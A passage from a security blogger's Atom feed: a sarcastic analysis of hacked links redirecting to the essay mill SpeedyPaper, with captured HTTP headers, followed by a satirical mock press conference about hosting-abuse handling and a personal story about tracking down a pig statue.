</span></span><span style="display:flex;"><span>HTTP/1.1 302
</span></span><span style="display:flex;"><span> Redirect to: https://speedypaper.com/
</span></span><span style="display:flex;"><span>status: 302
</span></span><span style="display:flex;"><span>date: Thu, 08 Sep 2016 16:32:49 GMT
</span></span><span style="display:flex;"><span>content-type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>cache-control: no-cache
</span></span><span style="display:flex;"><span>location: https://speedypaper.com
</span></span><span style="display:flex;"><span>set-cookie: laravel_session_speedypaper=eyJpdiI6IjJWUVcybEZzd3lxN1dHXC9JNXIzckh3PT0iLCJ2YWx1ZSI6IlZ2dGVwN2VXM2RyYU1ob1pTN3JTenJkK3dCYkFZYnY1OUU0bVdpTEluS2VHUjBlWlZYTngyd1wvUHR2OG1Fanl4TjdrM25LXC9LUFIyS0hEZU1qVG5XdUE9PSIsIm1hYyI6IjhkOTViYmFiNjcyMjIxODkxZDU1ZGY1OGUyZmE0MzkyOTY1NjQwNzFlMDkxOTQxMWNlODk5YTgwYTQwZGI3OWYifQ%3D%3D; expires=Thu, 08-Sep-2016 18:32:49 GMT; Max-Age=7200; path=/; httponly
</span></span><span style="display:flex;"><span>set-cookie: spv=eyJpdiI6IjVLZGVlSFU0bTFvdDNPMXJcL0gxUUJnPT0iLCJ2YWx1ZSI6IllFZTI0Z0FuS3h0djZwc1ZNZ3BJWEE9PSIsIm1hYyI6IjRlNzE0ODQ3NmY2NTA3ZDhjZGU5ZDUyYmVhNjgzZWNhYTNjMDc1NjlhNmM0NGMwZDQ4YTUyYjgxMGVlMGU4OTUifQ%3D%3D; expires=Wed, 07-Dec-2016 16:32:49 GMT; Max-Age=7776000; path=/; httponly
</span></span><span style="display:flex;"><span>set-cookie: spvis=eyJpdiI6ImQ0bkJvb0hHcWVpeGFzdjN4V1JLeFE9PSIsInZhbHVlIjoid3lRY3lHbndTTFFGbjhWWlQwRnY3dz09IiwibWFjIjoiNWJkM2E1MjUwYjcyODY0MjY1YjcyYTJjNmYxNjJkOTczY2RmOTY4MTI2YzZiMDU1NjAyZWQxZGU0YTM0OTA1NCJ9; expires=Wed, 07-Dec-2016 16:32:49 GMT; Max-Age=7776000; path=/; httponly
</span></span><span style="display:flex;"><span>x-prerender-token: fbDlD1S9rFH3au9KfiDK
</span></span><span style="display:flex;"><span>strict-transport-security: max-age=63072000; includeSubdomains;
</span></span><span style="display:flex;"><span>x-content-type-options: nosniff
</span></span><span style="display:flex;"><span>server: cloudflare-nginx
</span></span><span style="display:flex;"><span>cf-ray: 2df3cc76e7612597-ORD
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>GET https://speedypaper.com/
</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests: 1
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (X11; CrOS x86_64 8350.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
</span></span><span style="display:flex;"><span>Referer: https://www.google.com/
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate, sdch, br
</span></span><span style="display:flex;"><span>Accept-Language: en-US,en;q=0.8
</span></span><span style="display:flex;"><span>Cookie: __cfduid=dee0a566f25b25cba8a72327465573e201473350225; spu=eyJpdiI6InE5S001V0F4NnR1VFF5OEQ5eE5KQ3c9PSIsInZhbHVlIjoiMlFpaWQzY3BnY0VMNTdQUWY5TlwveXc9PSIsIm1hYyI6IjJkNmU0ZjM3ZTQ1ZWQyY2I3ODRhZDExZWJlYzA4OGM1YjgwM2EwMDQ0ZTRlYzA1MzU1MTRjMjRjYWIzNTM2MTkifQ%3D%3D; laravel_session_speedypaper=eyJpdiI6IjJWUVcybEZzd3lxN1dHXC9JNXIzckh3PT0iLCJ2YWx1ZSI6IlZ2dGVwN2VXM2RyYU1ob1pTN3JTenJkK3dCYkFZYnY1OUU0bVdpTEluS2VHUjBlWlZYTngyd1wvUHR2OG1Fanl4TjdrM25LXC9LUFIyS0hEZU1qVG5XdUE9PSIsIm1hYyI6IjhkOTViYmFiNjcyMjIxODkxZDU1ZGY1OGUyZmE0MzkyOTY1NjQwNzFlMDkxOTQxMWNlODk5YTgwYTQwZGI3OWYifQ%3D%3D; spv=eyJpdiI6IjVLZGVlSFU0bTFvdDNPMXJcL0gxUUJnPT0iLCJ2YWx1ZSI6IllFZTI0Z0FuS3h0djZwc1ZNZ3BJWEE9PSIsIm1hYyI6IjRlNzE0ODQ3NmY2NTA3ZDhjZGU5ZDUyYmVhNjgzZWNhYTNjMDc1NjlhNmM0NGMwZDQ4YTUyYjgxMGVlMGU4OTUifQ%3D%3D; spvis=eyJpdiI6ImQ0bkJvb0hHcWVpeGFzdjN4V1JLeFE9PSIsInZhbHVlIjoid3lRY3lHbndTTFFGbjhWWlQwRnY3dz09IiwibWFjIjoiNWJkM2E1MjUwYjcyODY0MjY1YjcyYTJjNmYxNjJkOTczY2RmOTY4MTI2YzZiMDU1NjAyZWQxZGU0YTM0OTA1NCJ9
</span></span></code></pre></div><p>Now, the last time I called out SpeedyPaper about the &ldquo;happenstance&rdquo; of hacked links leading to their site, they boldly proclaimed their theory that these links were created by their EEEeevil Competitors (Note: Likely the self-same EEEeevil Competitors that they appeared to attempt to frame by clumsily redirecting their redirect to… if that makes any sense.)</p>
<p>So, let’s look at this whole redirect thing a little closer:</p>
<p>My initial request went to the upmd.org (University Park, MD) domain:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>GET http://www.upmd.org/index.php/lead-research-paper/
</span></span></code></pre></div><p>The upmd.org site responded to that request with a redirect:</p>
<div class="highlight"><pre tabindex="0" style="color:#ccc;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-plaintext" data-lang="plaintext"><span style="display:flex;"><span>HTTP/1.1 307 Temporary Redirect
</span></span><span style="display:flex;"><span> Redirect to: https://speedypaper.com/?rt=3S5do2ix&amp;utm_search_engine=google&amp;utm_host=upmd.org&amp;utm_referrer=http%3A%2F%2Fupmd.org%2Findex.php%2Flead-research-paper%2F&amp;utm_keyword=lead+research+paper
</span></span></code></pre></div><p>There&rsquo;s some awfully specific stuff in those parameters:</p>
<ul>
<li>rt=3S5do2ix</li>
<li>utm_search_engine=google</li>
<li>utm_host=upmd.org</li>
<li>utm_referrer=http%3A%2F%2Fupmd.org%2Findex.php%2Flead-research-paper%2F</li>
<li>utm_keyword=paper</li>
</ul>
<p>First off, what’s with this &ldquo;utm&rdquo; stuff?</p>
<p>Well, to answer that question, we need to time-travel back to the late 90&rsquo;s. UTM originally stood for &ldquo;Urchin Traffic Monitor,&rdquo; which was part of a software suite called &ldquo;Urchin WebAnalytics Software&rdquo; that was released way back in 1998. Google purchased Urchin and its technology in 2005 and continued to sell the software for almost seven years until the decision was made to discontinue it in 2012. Although the original UTM software has gone the way of the dodo bird, Google still continues to use the &ldquo;utm&rdquo; convention for its own analytics software.</p>
<p>But this ain&rsquo;t Google&rsquo;s doin&rsquo;&hellip; Somebody seems to be - <em>GASP!</em> - plagiarizing Google&rsquo;s work. If only we could figure out who in this sordid mess knows anything about plagiarizing&hellip;</p>
<p>The &ldquo;outlier&rdquo; here is that &ldquo;rt&rdquo; parameter&hellip; Perhaps (and I&rsquo;m speculating here…) whoever <em>did the deed</em> and placed these hacked links &lsquo;round the &lsquo;Net is convinced - through no fault of the fine, upstanding folks at SpeedyPaper - that they&rsquo;ll be somehow &ldquo;paid&rdquo; based off of some sort of &ldquo;referal token.&rdquo; Nah&hellip; that couldn&rsquo;t possibly be the case.</p>
<p>So&hellip; at this point, something on the SpeedyPaper site receives that inbound URL, doesn&rsquo;t seem to be the least bit befuddled by the string of goofy parameters (<em>hmmmm&hellip;</em>), sets a bunch of cookies (hmmmm&hellip; hmmmm&hellip;), and immediately redirects back to SpeedyPaper&rsquo;s main page. How convenient!</p>
<p>It seems especially convenient when SpeedyPaper has, in the past, made it perfectly clear that this is the work of EEEeevil Competitors. Obviously, EEEeevil Competitors often hack websites and install links to your site, complete with analytics parameters, because that&rsquo;s how EEEeevil Competitors work.</p>
<p>It&rsquo;s so convenient it&rsquo;s essentially a frickin&rsquo; miracle.</p>
<p>Screw this crap&hellip; I&rsquo;m gonna go watch my mouse jump.</p>
<p><em>(Yes, that sounds like a euphemism. No, it isn&rsquo;t.)</em></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
September 8, 2016</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/series/the-term-paper-blues" term="the-term-paper-blues" label="The Term Paper Blues" />
                            
                        
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/webapp" term="webapp" label="webapp" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/uh-oh" term="uh-oh" label="uh-oh" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Fugget About It]]></title>
            <link href="https://yourflyis0pen.com/article/fugget-about-it/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/extraordinary-claims/?utm_source=atom_feed" rel="related" type="text/html" title="Extraordinary Claims, Ordinary Evidence..." />
                <link href="https://yourflyis0pen.com/article/what-clinic-are-you-with/?utm_source=atom_feed" rel="related" type="text/html" title="What Clinic Are You With?" />
                <link href="https://yourflyis0pen.com/article/mnsm/?utm_source=atom_feed" rel="related" type="text/html" title="MNSM for Dummies" />
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
            
                <id>https://yourflyis0pen.com/article/fugget-about-it/</id>
            
            
            <published>2016-09-07T15:18:55-06:00</published>
            <updated>2016-09-07T15:18:55-06:00</updated>
            
            
            <content type="html"><![CDATA[<p><em>I want to try to convey my utter contempt for the whole &ldquo;we have an abuse@ address - monitor our network for us&rdquo; mentality that seems to have become de rigueur for all hosting providers. Is this an attitude that we would tolerate in other businesses? Here&rsquo;s my fictional take:</em></p>
<hr>
<p>The following represents an unedited transcript of remarks by Jake &ldquo;The Mortar-Man&rdquo; Mortman, CEO of &ldquo;Mortars-R-Us,&rdquo; at a hastily prepared press conference responding to allegations surrounding what has come to be known simply as &ldquo;the incident.&rdquo;</p>
<p>Yea&hellip; hello&hellip;</p>
<p><em>[clears throat]</em></p>
<p>Can everybody hear me?</p>
<p><em>[clears throat]</em></p>
<p><em>[taps microphone]</em></p>
<p><em>[background conversation - mostly unintelligible, except for someone telling Mr. Mortman to stop tapping on the microphone]</em></p>
<p>Ok&hellip; I called this here gathering together sos I could answer your questions and clear the air about some of the stuff that&rsquo;s being said about my company, Mortars-R-Us - Where anyone can shoot a mortar™ - Come on down today &lsquo;cause we love seein&rsquo; customers INCOMING! [chuckles]</p>
<p>Well&hellip; maybe it&rsquo;s a little too soon&hellip;</p>
<p>Ok&hellip; I don&rsquo;t have no openin&rsquo; statement to make on account&rsquo;a my attorney tellin&rsquo; me I shouldn&rsquo;t. So, howsabout I take a question&hellip; Ok&hellip; You there. Yeah, you&hellip; the broad&hellip; I mean &ldquo;lady&rdquo;&hellip; in the front row.</p>
<p><em>[unintelligible]</em></p>
<p>Dangerous? Fugget about it&hellip; Dangerous smangerous&hellip; Our business ain&rsquo;t dangerous. It taps into the desire of every red-blooded American to come on down and&hellip; you know&hellip; shoot a mortar. Just $9.95 a round&hellip; And, best of all, you don&rsquo;t need to know nothin&rsquo; to try it&hellip; you just aim it however you feel and let &rsquo;er rip&hellip; we call it Vector-Proof Shootin&rsquo; or VPS for short. Dangerous&hellip;? Hell&hellip; if givin&rsquo; people a mortar, some live rounds, an&rsquo; lettin&rsquo; &rsquo;em take it out back an&rsquo; fire it&hellip; well&hellip; wherever is suddenly all &ldquo;dangerous,&rdquo; then I don&rsquo;t wanna live in this country no more&hellip;. Next question.</p>
<p><em>[unintelligible]</em></p>
<p>Yeah, sure&hellip; if you want to go way back to last year, sure&hellip; you&rsquo;re gonna find some &ldquo;safety incidents.&rdquo; But that was at our old location where we had a different kinda client. We specifically moved to our new location - next to the park and playground - because we thought it would attract&hellip; you know&hellip; a more &ldquo;responsible clientele&rdquo;&hellip; Next question.</p>
<p><em>[unintelligible]</em></p>
<p>Yeah, sure&hellip; I suppose in your perfect little rose-colored world, having some way where we could monitor to make sure that the mortars were being fired safely downrange would be a good idea. But this is the real world, and I can&rsquo;t justify the kind of expense it would take to make that happen. I need to keep my prices competitive with them schmucks over at &ldquo;Shelling for Dollars,&rdquo; or I&rsquo;ll be out of business&hellip; Next question&hellip;</p>
<p><em>[unintelligible]</em></p>
<p>Yeah&hellip; so what? You listen to me: as far as I&rsquo;m concerned, just &lsquo;cause six months ago a few shells landed in the park didn&rsquo;t mean we needed to go makin&rsquo; all kinds of big changes to how we do things. I told those whiners over at Parks-n-Rec, jus&rsquo; like I tell everybody: you fill out our online form and send us detailed information and photos documenting the exact location of the craters, and we&rsquo;ll take care of it. And let me tell you&hellip; once they finally submitted all uh&rsquo;their info, I gave them teenagers who fired those rounds a good talkin&rsquo;-to, and they promised me they&rsquo;d be careful next time. Hey&hellip; they even sent the people what was in the park a nice condolence note about their dog.</p>
<p><em>[unintelligible]</em></p>
<p>Now you&rsquo;re just bein&rsquo; ridiculous&hellip; How could I have seen this playground thing comin&rsquo;&hellip; What, do I have some kind of crystal ball or sumpthin&rsquo;? You&rsquo;re actin&rsquo; like what happened wit&rsquo; the playground yesterday is somehow my fault.</p>
<p><em>[unintelligible]</em></p>
<p>Unsafe? I can&rsquo;t see how I could make shootin&rsquo; a mortar any safer than I already am. I mean, when that dog got whacked, I even hired my sister&rsquo;s boy, Sal, part time in the afternoons to work on makin&rsquo; things safe. So now, when we get a report of a stray round landin&rsquo; in the park or by a school or over in the neighborhoods, we guarantee that Sal will respond within 72 hours and tell whoever was doin&rsquo; the shootin&rsquo; to knock that shit off. Providin&rsquo;, of course, that the online &ldquo;abuse&rdquo; form is filled out all proper-like&hellip; Next question.</p>
<p><em>[unintelligible]</em></p>
<p>Regrets? Me? Nah&hellip; I mean, yeah&hellip; those kids on the playground&hellip; that was unfortunate. But it&rsquo;s not like I can see how anyone can be blamed. I mean, my customer feels really bad, but sometimes these n00bs&hellip; well they just end up shootin&rsquo; in the wrong direction. What can you do, eh? And it ain&rsquo;t like it&rsquo;s all his fault, ya know. Those kids&hellip; well if those kids hadn&rsquo;ta been standin&rsquo; right there, ya know, playin&rsquo; and all&hellip; they wouldn&rsquo;ta got hit. So I&rsquo;d say, roughly speakin&rsquo;, the blame is about fifty-fifty&hellip;</p>
<p><em>[unintelligible]</em></p>
<p>Do I think anyone else is to blame? Nah&hellip; I don&rsquo;t see how nobody else could be at fault here&hellip;</p>
<p><em>[unintelligible]</em></p>
<p>You think Mortars-R-Us is to blame? Hey! I&rsquo;m a legit businessman providin&rsquo; a legit service. If people misuse that service - either on accident or on purpose - that&rsquo;s on them, not me. Besides, we got a form that people can fill out if there&rsquo;s a problem&hellip;</p>
<p><em>[unintelligible]</em></p>
<p>&ldquo;Inherently dangerous.&rdquo; What the hell is that supposed to mean, Mr. FancyWords? You think since I&rsquo;m providing my clients with mortars that I&rsquo;m responsible to make sure no stray rounds leave our mortar range? What kind of dumbass namby-pamby are you? You ever run a mortar rental service? You ever deal with the kinda shit I deal with? You think I&rsquo;m supposed to provide mortars AND somehow keep these people from blowin&rsquo; up random stuff? Ha! You don&rsquo;t know nothin&rsquo; &lsquo;bout nothin&rsquo;.</p>
<p>Hey Sal&hellip; why don&rsquo;t you show all these guys how our security protocol works&hellip;</p>
<p><em>[The press conference erupts into a cacophony of swearing, thuds, grunts, and the sound of chairs being thrown. One voice can be heard shouting over and over, &ldquo;Knock that shit off&rdquo; before the tape suddenly ends.]</em></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
September 7, 2016</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/craziness" term="craziness" label="craziness" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Squeal: A Story of True Love, Perseverance, and Pigs]]></title>
            <link href="https://yourflyis0pen.com/article/squeal/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/extraordinary-claims/?utm_source=atom_feed" rel="related" type="text/html" title="Extraordinary Claims, Ordinary Evidence..." />
                <link href="https://yourflyis0pen.com/article/why-lie/?utm_source=atom_feed" rel="related" type="text/html" title="Why Lie?" />
                <link href="https://yourflyis0pen.com/article/what-clinic-are-you-with/?utm_source=atom_feed" rel="related" type="text/html" title="What Clinic Are You With?" />
                <link href="https://yourflyis0pen.com/article/pwned-me-a-n00b/?utm_source=atom_feed" rel="related" type="text/html" title="Pwned Me a N00b" />
                <link href="https://yourflyis0pen.com/article/ambulance-chasing/?utm_source=atom_feed" rel="related" type="text/html" title="Ambulance Chasing" />
            
                <id>https://yourflyis0pen.com/article/squeal/</id>
            
            
            <published>2016-08-16T14:55:13-06:00</published>
            <updated>2016-08-16T14:55:13-06:00</updated>
            
            
            <content type="html"><![CDATA[<p><em>This is a story two and a half years in the making. Even though I&rsquo;m putting it here, it really doesn&rsquo;t have much (or anything) to do with security - it&rsquo;s more of a story about living life. Maybe that&rsquo;s the point. Hopefully you&rsquo;ll enjoy the ride.</em></p>
<p>It all began back in February 2014. At the time, I was a consultant for InGuardians and I was assigned to do five days work, onsite, for a client in California. Because spending a few February days in California unquestionably trumps spending those same days in Northern Illinois, my lovely wife Karen decided to tag along for the trip. I warned her that I would be working and that she would need to find something to occupy herself during some pretty long days. Karen allowed as how she was sure that sitting by the pool in the sun would keep her happily occupied.</p>
<p>Then, the cold snap hit California.</p>
<p>Where the average temperatures that time of year normally hovered in the upper 70&rsquo;s and lower 80&rsquo;s, they plunged to the low to mid-60&rsquo;s - certainly not pool weather.</p>
<p>Karen was, however, a trooper. She didn&rsquo;t complain (much) and managed to keep herself entertained as best she could. As the week wore on and the weather continued to be uncooperative, her options for things to do during the day started to dwindle.</p>
<p>Thursday evening, I got back somewhat late from the client&rsquo;s site. It was already dark, and I was feeling a little guilty that she&rsquo;d been waiting for me. As I changed out of my &ldquo;work clothes&rdquo; so we could go to dinner, Karen told me about her day. She said that she had made dinner reservations at a restaurant in walking distance and - more importantly - there was something on our walk that she really wanted to show me.</p>
<p><em>&ldquo;What did you find?&rdquo;</em> I asked</p>
<p><em>&ldquo;You&rsquo;re going to laugh at me,&rdquo;</em> was her response. <em>&ldquo;I found the cutest pig statue ever.&rdquo;</em></p>
<p>&ldquo;On our walk&rdquo; turned out to be something of an exaggeration - it was actually in the opposite direction. Fifteen minutes later, we were standing outside of a restaurant I&rsquo;d been to many times before (I&rsquo;d often done work for this client). Somehow, I&rsquo;d never bothered to notice what my wife had seen: just outside the front door there was, indeed, a pig statue.</p>
<p><img src="original_pig.jpg" alt="The cutest pig statue ever"></p>
<p>As pig statues go, it was nice, but to my eye it wasn&rsquo;t quite &ldquo;we-must-make-a-pilgrimage-to-visit-the-pig&rdquo; nice. My wife grew up on a farm, and her father - at one point - raised pigs, so her love of pigs, and especially &ldquo;cute&rdquo; pigs, likely far outstripped mine. In the back of my head, I was pretty sure that desperation for California cold-weather entertainment was responsible for this fixation.</p>
<p>It was a few weeks later, when I happened to overhear her talking to a friend on the phone. We were back at home and she was recounting details of the trip and sure enough, I heard her talking about the pig statue.</p>
<p><em>&ldquo;No, seriously&hellip; it was absolutely the cutest pig statue ever.&rdquo;</em></p>
<p><em>&ldquo;Ok,&rdquo;</em> I thought, <em>&ldquo;I&rsquo;m going to have to get her that statue.&rdquo;</em></p>
<p>And so, it began&hellip;</p>
<p>Now I wasn&rsquo;t necessarily going to get her THAT statue. I mean - if the restaurant was interested in selling it, sure&hellip; I&rsquo;d get that one. But I knew by looking at it that it wasn&rsquo;t a one-off. I&rsquo;d just find another copy&hellip; somewhere.</p>
<p>Oh, how naïve I was&hellip;</p>
<p>I called the restaurant that day, and left a message for the owner - telling them that I was interested in the pig statue and asking them to call me.</p>
<p>Nothing.</p>
<p>Perhaps &ldquo;I&rsquo;m interested in finding out some information about the pig statue you have outside,&rdquo; is a little weird for voicemail. I called back, got the owner&rsquo;s email address, and sent them an email laying out my lovely wife&rsquo;s obsession with &ldquo;the cutest pig statue ever,&rdquo; and asking them for information about where they&rsquo;d gotten it.</p>
<p>Nothing.</p>
<p>In all, I sent about a dozen emails and left about dozen voicemails over the course of about a year and a half - contacting them at least once a month. The owner never seemed to be around whenever I called, and they never responded to my emails - so I pretty much gave up finding anything out from them.</p>
<p>I took to Google&rsquo;s Image Search, using various combinations of descriptors with the term &ldquo;pig statue.&rdquo;</p>
<p>I&rsquo;ve looked at hundreds (perhaps thousands) of pictures of pig statues.</p>
<p>(Go, right now, and do a Google Image Search for &ldquo;pig statue.&rdquo; I&rsquo;ll make it easy for you - <a href="https://www.google.com/search?site=&amp;tbm=isch&amp;q=pig+statue&amp;oq=pig+statue">click here</a>. There are LOTS of pig statues. Angry pigs, happy pigs, pigs with wings, pigs dressed in clothing, fat pigs, skinny pigs&hellip; pigs, pigs, pigs. There are a LOT of pig statues&hellip; just not the one I was looking for&hellip;)</p>
<p>I also looked on <a href="http://www.ebay.com/sch/i.html?_from=R40&amp;_trksid=p2050601.m570.l1313.TR6.TRC2.A0.H0.Xpig+statue.TRS0&amp;_nkw=pig+statue&amp;_sacat=0">EBay</a>, which seems to have a never ending supply of new and different &ldquo;pig statues&rdquo; cycling through their platform. Apparently I&rsquo;ve somehow greatly underestimated the world&rsquo;s appetite for pig statuary&hellip;</p>
<p>When I made the move from InGuardians to Warner Brothers, I found out that the WB &ldquo;Mill&rdquo; can, essentially, make anything - and they&rsquo;re available to do work for employees - for cost. They&rsquo;re the folks who make the sets, props, etc&hellip; for movies and TV shows, and so they have amazing capabilities. Because most of the stuff they make for filming just has to look good, most of what they make is&hellip; well&hellip; good looking crap - but they&rsquo;re true artisans, and actually enjoy making &ldquo;real&rdquo; things for employees. My old boss, Ron Dilley, did some leg work for me (he&rsquo;s gone through the process before and had an awesome piece of furniture to show for it&hellip;) and got an estimate for the cost of making a casting of the original (if I could get the folks at the restaurant to lend it to me for a couple of days - a dicey proposition at best, since I couldn&rsquo;t get them to even talk to me). When Ron told me the price&hellip; well&hellip; I love my wife, but let&rsquo;s just say that there are limits.</p>
<p>Around that same time, the original client did something huge. He&rsquo;s actually a close friend, and knew that I had been trying to get information on the pig statue. One day, he had stopped in the restaurant for lunch and - perhaps the stars were perfectly aligned - the owner was there. He basically cornered the owner and told them that his friend <em>really</em> wanted to know the provenance of the pig statue. Long story short: before he left, he had the name of the place from which the owner thought it had been purchased.</p>
<p>At this point, it had been over two years since Karen had originally seen the pig. The pig hunt wasn&rsquo;t constant - I would usually &ldquo;spin up&rdquo; once a month or so and dig though a few hundred listings on EBay or throw some new term at Google Image Search and scroll past a couple hundred new photos - but it was starting to seem futile. Now, I had a real lead.</p>
<p>I called the place - it was a high-end gardening, pottery, and &ldquo;found items&rdquo; shop - and, essentially, they laughed at me.</p>
<p><em>&ldquo;A statue of a pig? I&rsquo;m sure we&rsquo;ve never sold anything like that.&rdquo;</em></p>
<p>Square one.</p>
<p>I sent emails to the addresses on their website with a picture of the pig. The dude on the phone seemed to be way more snooty than someone working in a place like that should be, and I hoped that my email might reach a more down-to-earth person who would actually check.</p>
<p>Nothing.</p>
<p>I found this latest dead-end very frustrating, because - despite snooty dude&rsquo;s demeanor, looking at their website, it sure seemed like a place that would sell a statue of the &ldquo;cutest pig ever.&rdquo;</p>
<p>That&rsquo;s when it hit me&hellip;</p>
<p><a href="https://digi.ninja/projects/cewl.php">CeWL - DigiNinja&rsquo;s Custom Word List generator</a> is a tool that I&rsquo;ve used in the past on engagements. The idea is this: you run CeWL on a target organization&rsquo;s website and it extracts a list of words that are specific to that organization. You then use those words when you&rsquo;re attempting to crack passwords or brute-force accounts. It&rsquo;s surprisingly effective.</p>
<p>If snooty dude&rsquo;s website painted the picture of a place where I would likely find the pig statue, maybe if I used some of the same kinds of descriptive words they used&hellip; if I seeded my Google Image Search using those terms (along with &ldquo;pig statue&rdquo;)&hellip; I might have better luck. Not that I was actually going to run CeWL on their website&hellip; but you get the idea.</p>
<p><em>&ldquo;UNIQUE GARDEN PIG STATUE&rdquo;</em></p>
<p>It was about the 5th new combination that I tried. The other four attempts had come up empty, and I was feeling a little dejected. As I scrolled through hundreds more images I wasn&rsquo;t expecting much&hellip;</p>
<p><img src="unique_stone_pig.jpg" alt="FOUND!"></p>
<p>SON-OF-A-BITCH&hellip; THERE IT IS!</p>
<p>As it turned out, the words &ldquo;UNIQUE&rdquo; and &ldquo;GARDEN&rdquo; were the key, because the &ldquo;cutest pig statue ever&rdquo; is a product of <a href="https://uniquestone.com/">Unique Stone, Inc</a> - purveyors of antique and garden reproductions in Rockingham, NC.</p>
<p>My tenth wedding anniversary was coming up, and somehow the search engine gods had managed to part the clouds standing between me and the perfect anniversary gift.</p>
<p>I called Unique Stone and ended up talking to Amy, a very sweet lady with the thickest southern accent I&rsquo;ve heard in a long time. I told her the story of my search for the &ldquo;cutest pig statue ever&rdquo; and explained that I wanted to purchase one.</p>
<p>It turns out that Unique Stone isn&rsquo;t in the retail pig statue business (who knew?) and generally sells only wholesale - in large lots (i.e. like 1000 pieces). Given my long search and my story, Amy (who - as you&rsquo;ll see - has the patience of a saint) was willing to sell me one. The only issue was that they weren&rsquo;t really in the business of shipping individual statues&hellip; they were geared for shipping truckloads. I told Amy that if she would sell me a pig statue, I would figure out a shipping method.</p>
<p>As we talked through the purchase and I gave Amy my address, she asked a rather odd question:</p>
<p><em>&ldquo;McHenry, Illinois&hellip; is that anywhere near Gurnee?&rdquo;</em></p>
<p>Yes. Yes it is.</p>
<p>It turns out that Amy and her husband were planning to drive north to Gurnee, Illinois for her nephew&rsquo;s high school graduation in a few weeks. If I would be willing to drive to Gurnee to pick it up, Amy said she would be happy to bring the pig north with her. Southern hospitality is a very real thing.</p>
<p>There was only one hitch: she was coming to Illinois for her nephew&rsquo;s high school graduation on the same weekend that I was heading to Memphis for my daughter Mary&rsquo;s graduation from her Master&rsquo;s program.</p>
<p>What&rsquo;s the point of having lots of children if you can&rsquo;t impose on them to do things for you? I called my oldest step-daughter Lauren (who lives nearby) and once again told the story of the &ldquo;cutest pig statue ever.&rdquo; I asked her if she could meet Amy in Gurnee that weekend to get the pig. She said she would. I gave her Amy&rsquo;s number and gave Amy hers - the two of them would figure out a time to meet that would work once Amy was here.</p>
<p>Throughout the weekend in Memphis, I kept texting Lauren for updates. She allowed as how with all of the texting and meeting up with people in parking lots with cash, it seemed like she was part of a drug deal. The &ldquo;meet&rdquo; was finally set for Sunday during our drive home, and every time we stopped for gas or food, I would fire off another text to Lauren for an update. Finally, the deal went down:</p>
<p><img src="lauren_text.png" alt="Texts from Lauren"></p>
<p>Uh oh&hellip;</p>
<p>I asked Lauren to text me a picture.</p>
<p><img src="small_pig.jpg" alt="The wrong pig&hellip;"></p>
<p>Aaaaaarrrrrrgggggghhhhh!!!!</p>
<p>It turns out that Unique Stone had some problems with their website. Specifically, the pig I wanted and the pig I got both had the same part number and description listed on the site - something that no one had noticed until now. The upshot: Amy brought the wrong pig.</p>
<p>I called Amy the next week and explained the situation and she was more than apologetic. I had done some &ldquo;recon&rdquo; using Google maps and had located a pack-n-ship place in Rockingham, NC. Amy gave me the specifications of the correct pig, and I called and chatted with them about their shipping capabilities. It looked like a &ldquo;go.&rdquo;</p>
<p>Amy kindly credited me for the &ldquo;little&rdquo; pig and volunteered to drop the new &ldquo;cutest pig statue ever&rdquo; off at the pack-n-ship place. Once again, southern hospitality is a very real thing. (Note: Later, I learned that she carried the 90 pound statue into the store by herself. After going over the specifics with the high-school aged clerk, she said she had to laugh when he asked one of his co-workers to help him move it&hellip;)</p>
<p>By coincidence, the package was scheduled to arrive on the day that Karen and I were leaving for a trip for our anniversary. The UPS website showed that the delivery window was going to butt up against the time that we needed to leave for the airport, and I kept my fingers crossed that it would arrive on the early end of the window.</p>
<p>The night before it arrived, I had a dream that it showed up and was broken. I considered trying to distract Karen when the package arrived so I could check it first, but decided that there was little chance of being able to successfully pull that off. I was just being paranoid, after all.</p>
<p>FYI: That&rsquo;s something that we, in the literary biz, call &ldquo;foreshadowing.&rdquo;</p>
